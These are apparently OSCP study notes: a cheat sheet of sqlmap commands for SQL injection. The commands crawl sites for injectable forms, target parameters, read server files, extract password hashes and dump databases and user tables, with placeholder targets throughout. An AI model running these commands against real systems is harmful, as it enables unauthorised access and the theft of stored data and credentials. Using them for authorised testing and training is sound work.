oscp/Necronomicon/Attacks/Web Exploitation/SQL Injection.md

• SQLMap
  • Crawl scan
    • sqlmap -u http://meh.com --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3
    • sqlmap -u http://INSERTIPADDRESS --dbms=mysql --crawl=3
  • Targetted scan
    • sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE --level=3 --current-user --current-db --passwords --file-read="/var/www/blah.php"
  • Scan url for union + error based injection with mysql backend and use a random user agent + database dump
    • sqlmap -u "http://meh.com/meh.php?id=1" --dbms=mysql --tech=U --random-agent --dump
  • Check form for inj
    • sqlmap -o -u "http://meh.com/form/" –forms
  • Dump and crack hashes for table "users" on "database-name"
    • sqlmap -o -u "http://meh/vuln-form" --forms -D database-name -T users –dump
  • Flush session
    • sqlmap --flush session
  • Exploit "user" field using boolean technique
    • sqlmap -p user --technique=B
  • Test specific request saved using Burp
    • sqlmap -r <captured request>